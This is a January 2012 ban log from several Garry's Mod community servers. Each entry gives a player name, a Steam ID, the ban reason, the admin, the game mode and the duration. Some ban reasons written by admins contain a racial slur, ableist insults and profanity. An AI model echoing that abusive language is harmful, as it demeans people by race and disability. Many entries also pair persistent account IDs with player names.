+12:09 am 29-01-12 Ghost(-Elite-) STEAM_0:1:30862688 Grow some +nutts. Llixo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:3:20 Unbanned +5:25 pm 28-01-12 dude (LT) STEAM_0:1:45001338 Idiot Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +3:59 pm 28-01-12 [DUKE] sWr.lepi <3 STEAM_0:0:15392331 And now you +are banned for mic spamming Cutie Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 1:0:0 Unbanned +12:48 pm 28-01-12 Ascallar STEAM_0:0:27435703 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +1:57 am 28-01-12 Gin Firkin King STEAM_0:0:5226932 mass rdm + karma ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +10:37 pm 27-01-12 Augany AEF STEAM_0:1:20563973 Idiot Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:14 pm 27-01-12 Los Proddish STEAM_0:0:41202056 RDM +[SP]+ JoE +CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 +Unbanned +6:52 pm 27-01-12 Hunter STEAM_0:0:40596784 Detective RDM other +Detective and disconnected remember? I do! +[SP]+ JoE CrAcKeR +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +6:35 pm 27-01-12 Unknown STEAM_0:0:3565304 RDMing Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +6:35 pm 27-01-12 Unknown STEAM_0:0:3565304 RDMing Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +6:24 pm 27-01-12 Unknown STEAM_0:1:28523174 not a member but got the +tags on +[SP]+ Hatcake Fretta|Tigergruppe Kommand GarryWare +3:11:20 Unbanned +5:31 pm 27-01-12 McMuffin[NL] STEAM_0:0:26247365 Rdming cunt +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +1:10 am 27-01-12 Unknown STEAM_0:1:41744349 RDM and quit, Ching +Chang +[SP]+ Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 3:0:0 Unbanned +8:03 pm 26-01-12 Ghostsniper jura-b STEAM_0:1:39402013 mass RDM as +the D +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +5:51 pm 26-01-12 Free Fall [TR] -.- STEAM_0:0:26486263 RDMing T ' s +as a T Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +5:31 pm 26-01-12 ^IK^SNIKA( Metro Cop) STEAM_0:0:41511179 MASS RDM as +a detective +[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:15 Unbanned +10:10 pm 25-01-12 undeadâ??â??â??â??â?? STEAM_0:1:30157286 Idiot who +doesn ' t know what a team is. Wigbig Killa's Zombie Survival Server +Zombie Survival 0:1:0 Unbanned +5:48 pm 25-01-12 Unknown STEAM_0:0:43807368 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +5:46 pm 25-01-12 Unknown STEAM_0:1:48172552 mass rdm as the D and +karma +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:11:40 Unbanned +5:24 pm 25-01-12 Advanced Creativity STEAM_0:1:25675380 Karma +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:02 pm 25-01-12 Unknown STEAM_0:0:15236914 KARMA man that was low! ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +3:00 am 25-01-12 [Tiber]â??(â?¢Ã·[marpode]÷â?¢) STEAM_0:0:33285292 +Alt of banned ID STEAM_0:1:21523239 (Console) Official Zombified +World|Lvl Cap +10 Zombified World Permanent Banned +1:20 am 25-01-12 Unknown STEAM_0:0:37916561 teamkilled and then +left MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:5:20 Unbanned +12:10 am 25-01-12 Nforce-SSP STEAM_0:1:27629877 bad score last match +plus killed D(P), not responding so me either MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +11:49 pm 24-01-12 the killer (No Voice) STEAM_0:1:41154609 rdm + +tard =? MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 4:4:0 Unbanned +11:42 pm 24-01-12 9 0 0 1 STEAM_0:0:42044871 Rdm + tard = ? MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:4:0 +Unbanned +8:57 pm 24-01-12 an_owl STEAM_0:0:22746878 Spellknite +Fretta|Tigergruppe Kommand Puzzle 0:1:0 Unbanned +8:57 pm 24-01-12 «[DC]» :D lol :D STEAM_0:1:32425210 Spellknite +Fretta|Tigergruppe Kommand Puzzle 0:1:0 Unbanned +4:59 pm 24-01-12 Unknown STEAM_0:1:45129586 rdm and left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:00 pm 24-01-12 Gamzee (no mouse) STEAM_0:1:30162895 mass rdm ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:3:40 Unbanned +10:11 pm 23-01-12 matysiak28 STEAM_0:1:36685180 Random crowbarring, +low karma. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +4:40 pm 23-01-12 Unknown STEAM_0:0:20934276 rmd and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +4:22 pm 23-01-12 N0T. >:) STEAM_0:0:28303601 shh MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:23:20 Unbanned +3:33 pm 23-01-12 dude (LT) STEAM_0:1:45001338 chill pill needed MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:03 pm 23-01-12 Omppu1 STEAM_0:0:47669625 teamkiller x2 MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +3:45 pm 22-01-12 Unknown STEAM_0:1:18037535 Deleting base +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +4:4:0 Unbanned +2:58 pm 22-01-12 Unknown STEAM_0:0:40774588 Proppush, Welding other +peoples props, Asshole +[SP]+ Anime Official Zombified World|Lvl Cap ++10 Zombified World 4:4:0 Unbanned +1:14 pm 22-01-12 Unknown STEAM_0:1:25961258 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:33831311 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:18843517 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:0:11151054 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:0:25624107 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:30673177 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:0:14790879 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:13250571 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:28657939 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:34087705 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:21421892 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:0:29493653 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:38689930 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:17505658 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:37018013 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:38846072 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 22-01-12 Unknown STEAM_0:1:8284163 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +12:37 pm 22-01-12 Unknown STEAM_0:0:26652185 Prop Pushing +[SP]+ +Anime Official Zombified World|Lvl Cap +10 Zombified World 0:13:20 +Unbanned +10:24 pm 21-01-12 tommyilmejo STEAM_0:1:45125258 RDM +[SP]+ +Fleming Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +8:52 pm 21-01-12 L1DDER STEAM_0:1:24386537 RDM +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:11 Unbanned +8:41 pm 21-01-12 Unknown STEAM_0:0:38868842 RDM +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:42 pm 21-01-12 dablic STEAM_0:0:28824915 Cheat: Speedhack +(Console) Killa's Zombie Survival Server Zombie Survival Permanent +Banned +7:15 pm 21-01-12 Unknown STEAM_0:0:16001285 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 Unbanned +6:17 pm 21-01-12 Pohujistas STEAM_0:0:10815563 RDM Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:13 pm 21-01-12 shaTTered STEAM_0:1:737437 RDM Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:07 pm 21-01-12 al_chelmodeev STEAM_0:1:16804959 Rdm'd a traitor, +using elevtaor to rdm Joo. Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +5:51 pm 21-01-12 Failbunneh STEAM_0:1:27882750 stupid or something +rdm Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +11:54 am 21-01-12 Unknown STEAM_0:1:27079143 rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:10:0 Unbanned +11:29 am 21-01-12 Ð?еÑ?ваÑ? Ñ?меÑ?Ñ?Ñ? STEAM_0:1:38332908 +RDMing +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:12:30 Unbanned +10:40 am 21-01-12 Unknown STEAM_0:0:13644869 Deleting base +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +4:4:0 Unbanned +12:44 am 21-01-12 Sgt. Pepper STEAM_0:0:13324704 Alt of banned ID +STEAM_0:1:12327042 (Console) Fretta|Tigergruppe Kommand Puzzle +5:1:54 Unbanned +11:08 pm 20-01-12 Con-Troller STEAM_0:1:31563799 Alt of banned ID +STEAM_0:1:7158623 (Console) Fretta|Tigergruppe Kommand Deathrun +0:23:24 Unbanned +10:32 pm 20-01-12 [Zhadow] Soart STEAM_0:1:7158623 RDM. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +9:40 pm 20-01-12 Unknown STEAM_0:1:16170366 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:39 pm 20-01-12 Isaacdobo STEAM_0:0:41228426 RDMing +[SP]+ Marked +One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +3:46 pm 20-01-12 sek330(rus) STEAM_0:0:44972682 rdm +[SP]+ Fleming +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 Unbanned +2:44 pm 20-01-12 Unknown STEAM_0:1:21372015 RDM then leaving Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +10:05 pm 19-01-12 -hg- jambo STEAM_0:0:30577331 RDM'd a professor, +goodbye Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:18:0 Unbanned +2:39 am 19-01-12 chicken STEAM_0:1:12327042 Mass RDM. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:0:0 Unbanned +11:40 pm 18-01-12 Zephyr STEAM_0:1:19529778 Teamkilling and not +giving guns back +[SP]+ Anime Official Zombified World|Lvl Cap +10 +Zombified World 3:11:20 Unbanned +9:35 pm 18-01-12 [Name deleted by SOPA] STEAM_0:1:34160141 rdm x2 ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:2:20 Unbanned +5:20 pm 18-01-12 Unknown STEAM_0:0:23589275 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +4:35 pm 18-01-12 Unknown STEAM_0:0:38893214 Leaving during Faction +war +[SP]+ Anime Official Zombified World|Lvl Cap +10 Zombified +World 2:2:0 Unbanned +4:05 pm 18-01-12 Unknown STEAM_0:1:32595794 Rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:10:0 Unbanned +1:56 pm 18-01-12 Sangreider STEAM_0:0:44965201 RDMing as D +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:2:0 Unbanned +1:06 pm 18-01-12 YA MUM STEAM_0:0:34681094 RDMing +[SP]+ Marked One +[SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:40 +Unbanned +11:18 pm 17-01-12 Unknown STEAM_0:0:42003585 rdm and reported to me +before MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +8:39 pm 17-01-12 [DC] Xenonmorth STEAM_0:0:26973706 Attacking from +within trader circle ( knows rules well ) +[SP]+ Marked One [SK] +Official Zombified World|Lvl Cap +10 Zombified World 6:16:59 Unbanned +2:58 pm 17-01-12 runs STEAM_0:1:24335624 Trader blocking, moving base +to kill loners. Llixo Official Zombified World|Lvl Cap +10 Zombified +World 6:22:40 Unbanned +4:40 am 17-01-12 Grim STEAM_0:1:29826193 Alt of banned ID +STEAM_0:0:38403849 (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +5:02 pm 16-01-12 icem@n STEAM_0:1:47887765 Constant RDM and low +karma. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 7:0:0 Unbanned +4:49 pm 16-01-12 Unknown STEAM_0:0:12868819 Killing fellow traitor +and low karma. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 2:0:0 Unbanned +4:45 pm 16-01-12 Kotova STEAM_0:0:27502470 RDM and low karma. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +10:03 pm 15-01-12 my ass STEAM_0:1:42176271 Troll rdmer Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +9:36 pm 15-01-12 [ReVolt] payneÏ?кilleÑ? STEAM_0:0:8169697 Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +9:35 pm 15-01-12 Three-Dog STEAM_0:0:15261031 fuck off then +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:57 pm 15-01-12 CILLYByTE STEAM_0:1:31866695 stop fucking around! ++[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Puzzle 0:0:10 Unbanned +2:28 pm 15-01-12 Toomanyrainbows! STEAM_0:1:25079974 rdm as the D ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:7:20 Unbanned +1:25 pm 15-01-12 -[Hifi]- Bobbo STEAM_0:1:40281893 Alt of banned ID +STEAM_0:1:22010562 (Console) Killa's Zombie Survival Server Zombie +Survival Permanent Banned +7:51 am 15-01-12 rivet.lust STEAM_0:0:15435598 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +2:44 am 15-01-12 minibinaz STEAM_0:0:32307478 yes we can hear you ++[SP]+ Kaede Official Zombified World|Lvl Cap +10 Zombified World +0:2:0 Unbanned +9:01 pm 14-01-12 kingleonthegreat STEAM_0:1:48288538 annoying people +doing puzzles serious +[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand +Puzzle 0:0:10 Unbanned +5:48 pm 14-01-12 +[SP]+ Legendary Fox STEAM_0:1:30281009 Deleting +base Llixo Official Zombified World|Lvl Cap +10 Zombified World +0:16:40 Unbanned +4:51 pm 14-01-12 | SunDiegoâ?¢ STEAM_0:0:22173765 mass RDM +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +4:42 pm 14-01-12 Unknown STEAM_0:0:21275371 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:7:20 +Unbanned +4:22 pm 14-01-12 Unknown STEAM_0:1:22515279 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:6:0 +Unbanned +4:03 pm 14-01-12 Protal1ty STEAM_0:0:13871772 RDM +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +3:43 pm 14-01-12 DiViNe_IcIcLe STEAM_0:1:4677444 RDMing as the D ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:7:20 Unbanned +1:28 pm 14-01-12 â?­ Puutarhuri â?­ STEAM_0:1:25572007 Alt of banned +ID STEAM_0:0:37126029 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +1:44 am 14-01-12 iny0ureye STEAM_0:0:30333183 rdm +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:20 Unbanned +10:05 pm 13-01-12 that irish guy STEAM_0:0:33838172 stop +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Puzzle 0:0:10 Unbanned +9:46 pm 13-01-12 Suhayll STEAM_0:0:29555116 reseting while people are +doing a puzzle +[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Puzzle +0:0:10 Unbanned +7:07 pm 13-01-12 {Pk} SaiBhoeLeo {SWE} STEAM_0:1:34685737 yes MAD +MANN Fretta|Tigergruppe Kommand Puzzle 0:0:10 Unbanned +6:41 pm 13-01-12 Eli STEAM_0:1:43593884 come back in 1 minute Joo. +Fretta|Tigergruppe Kommand Puzzle 0:0:1 Unbanned +6:40 pm 13-01-12 [NL]Moustafa STEAM_0:1:42841709 Saphira wants you ++[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Puzzle 0:0:5 Unbanned +6:39 pm 13-01-12 FUS DO DAH! Niels Bais STEAM_0:0:46075519 Joo. +Fretta|Tigergruppe Kommand Puzzle 0:1:0 Unbanned +5:12 pm 13-01-12 $pike STEAM_0:0:26551046 Alt of banned ID +STEAM_0:0:19817494 (Console) Fretta|Tigergruppe Kommand Deathrun +0:0:29 Unbanned +4:42 pm 13-01-12 DARK 897 PL STEAM_0:0:19817494 trying to rdm x2 ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +4:03 pm 13-01-12 KradziejsÅ?aw (JZD) [PL] STEAM_0:0:5481823 rdm +Llixo Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 +Unbanned +4:02 pm 13-01-12 KRADZIE IS RDMR GNNA KOS U BITC +STEAM_0:1:42934133 rdm Llixo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:30 Unbanned +3:54 pm 13-01-12 ebruakil2003 STEAM_0:1:41542105 Alt of banned ID +STEAM_0:1:32830571 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:24 Unbanned +3:39 pm 13-01-12 (Y-E-C)Trollone STEAM_0:1:32830571 retard Llixo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:40 Unbanned +2:00 pm 13-01-12 [C]yпep KpÑ?c[A] (RUS,FIN) STEAM_0:0:37126029 +Rdming like a tard Llixo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +9:15 pm 12-01-12 Unknown STEAM_0:0:26744355 horrid karma with a ton +of shitty RDMS MAD MANN Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:2:0 Unbanned +9:10 pm 12-01-12 RayX STEAM_0:1:27001515 Good work RDMing a super +admin Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +8:04 pm 12-01-12 Hunter STEAM_0:0:40596784 troll MAD MANN +Fretta|Tigergruppe Kommand Puzzle 0:1:0 Unbanned +6:55 pm 12-01-12 Dead_System STEAM_0:0:43025957 Crowbaring like a +boss Llixo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:40 Unbanned +6:25 pm 12-01-12 Colewill STEAM_0:1:33265347 Calling random KoS +Llixo Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:6:40 +Unbanned +4:16 pm 12-01-12 (Y-E-C)Trollone STEAM_0:1:32830571 Trolldick +Llixo Fretta|Tigergruppe Kommand Puzzle 0:16:40 Unbanned +1:04 am 12-01-12 [VECTOR] TEL-OS STEAM_0:1:25823393 Moving Base while +it is under attack +[SP]+ Anime Official Zombified World|Lvl Cap +10 +Zombified World 2:2:0 Unbanned +10:22 pm 11-01-12 (BPC)Cpt.Scouter STEAM_0:1:25348501 OH NOES HES GNA +GET DA OWNERZ Llixo Official Zombified World|Lvl Cap +10 Zombified +World 0:8:20 Unbanned +5:41 pm 11-01-12 Unknown STEAM_0:1:24747537 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:7:20 +Unbanned +5:17 pm 11-01-12 Unknown STEAM_0:1:16078943 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:7:20 +Unbanned +3:55 pm 11-01-12 glimberg STEAM_0:1:21180535 Killing T while +Traitor +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:12:30 Unbanned +3:31 pm 11-01-12 I am a mad bat (^-_-^) STEAM_0:0:30266300 RDM ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +3:21 pm 11-01-12 omg box STEAM_0:1:39949553 stupid sums this up MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:22:40 +Unbanned +2:07 pm 11-01-12 Christinio â?? STEAM_0:0:25776426 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +1:53 pm 11-01-12 MRsveden STEAM_0:0:27111442 RDM +[SP]+ Danzomanzo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:14 pm 10-01-12 G.B. Hindert STEAM_0:0:17086047 RDM +[SP]+ Marked +One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:24 pm 10-01-12 Nice.C STEAM_0:0:3584775 Fucking retarded Llixo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +3:19 pm 10-01-12 TheKillCold STEAM_0:1:19984007 RDMing +[SP]+ Marked +One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:12:30 Unbanned +10:12 pm 09-01-12 Unknown STEAM_0:1:39979684 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:1:14133131 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:1:32540524 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:0:32269281 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:1:19353043 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:0:44321488 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:0:1567954 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:1:33749817 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:1:33917884 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:12 pm 09-01-12 Unknown STEAM_0:0:19856818 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +10:07 pm 09-01-12 Unknown STEAM_0:0:5226387 Cheat: speedhack +(Console) Fretta|Tigergruppe Kommand Puzzle Permanent Banned +8:50 pm 09-01-12 Fire STEAM_0:0:19368954 ASSHOLE!! +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Puzzle 0:2:20 Unbanned +8:42 pm 09-01-12 wildhogs STEAM_0:0:5226387 Banned I kicked you +before for it, you continued Cutie Fretta|Tigergruppe Kommand +Puzzle 0:1:0 Unbanned +2:04 pm 09-01-12 darkball1 STEAM_0:0:15620064 rdm Llixo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:3:20 Unbanned +1:34 am 09-01-12 Unknown STEAM_0:0:14259243 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:3:20 Unbanned +7:37 pm 08-01-12 ([BS-G]) jay STEAM_0:1:39063623 Faction exploiting, +being a donator doesn ' t mean you can do what you wish. Llixo +Official Zombified World|Lvl Cap +10 Zombified World 1:9:20 Unbanned +6:26 pm 08-01-12 Unknown STEAM_0:0:35309960 And you too +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +6:22 pm 08-01-12 Unknown STEAM_0:0:34731259 DDoS this. +[SP]+ Marked +One [SK] Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +3:29 pm 08-01-12 ?¿?RIDDLER?¿? STEAM_0:1:42934133 Prop kill x2 +ColdFusion Fretta|Tigergruppe Kommand Puzzle 0:0:5 Unbanned +3:27 pm 08-01-12 [NL]OmNomNom STEAM_0:1:30546176 Prop killing +ColdFusion Fretta|Tigergruppe Kommand Puzzle 0:0:5 Unbanned +2:09 pm 08-01-12 zxluc STEAM_0:1:44706585 mass rdm + troll + spam ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +1:01 pm 08-01-12 Hunter STEAM_0:0:40596784 karma +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +5:15 am 08-01-12 Unknown STEAM_0:1:37828838 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:07 pm 07-01-12 the disturbing crap STEAM_0:0:24557761 RDMing +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:57 pm 07-01-12 Unknown STEAM_0:0:13968378 RDMing Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:49 pm 07-01-12 Unknown STEAM_0:0:25701342 Ban request (Console) +Official Zombified World|Lvl Cap +10 Zombified World 1:0:0 Unbanned +3:39 pm 07-01-12 Unknown STEAM_0:1:20710616 Leaving forever +(Console) Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +2:36 pm 07-01-12 Unknown STEAM_0:1:37401535 mass rdm as the D +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:9:20 +Unbanned +1:59 pm 07-01-12 R Muff1N [Shambala] STEAM_0:1:13787699 Rdm / maybe +ghosting MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:18:40 Unbanned +12:13 pm 07-01-12 Unknown STEAM_0:0:41345701 rdm then left and +karma +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:7:20 Unbanned +12:51 am 07-01-12 erreur de la nature STEAM_0:1:22060408 Yea, now you +are banned Cutie Fretta|Tigergruppe Kommand Puzzle 1:0:0 Unbanned +8:58 pm 06-01-12 Bear STEAM_0:1:19987406 RDMing +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:29 pm 06-01-12 erreur de la nature STEAM_0:1:22060408 fuck off +now +[SP]+ Hatcake Fretta|Tigergruppe Kommand Puzzle 0:1:0 Unbanned +8:15 pm 06-01-12 Ololo 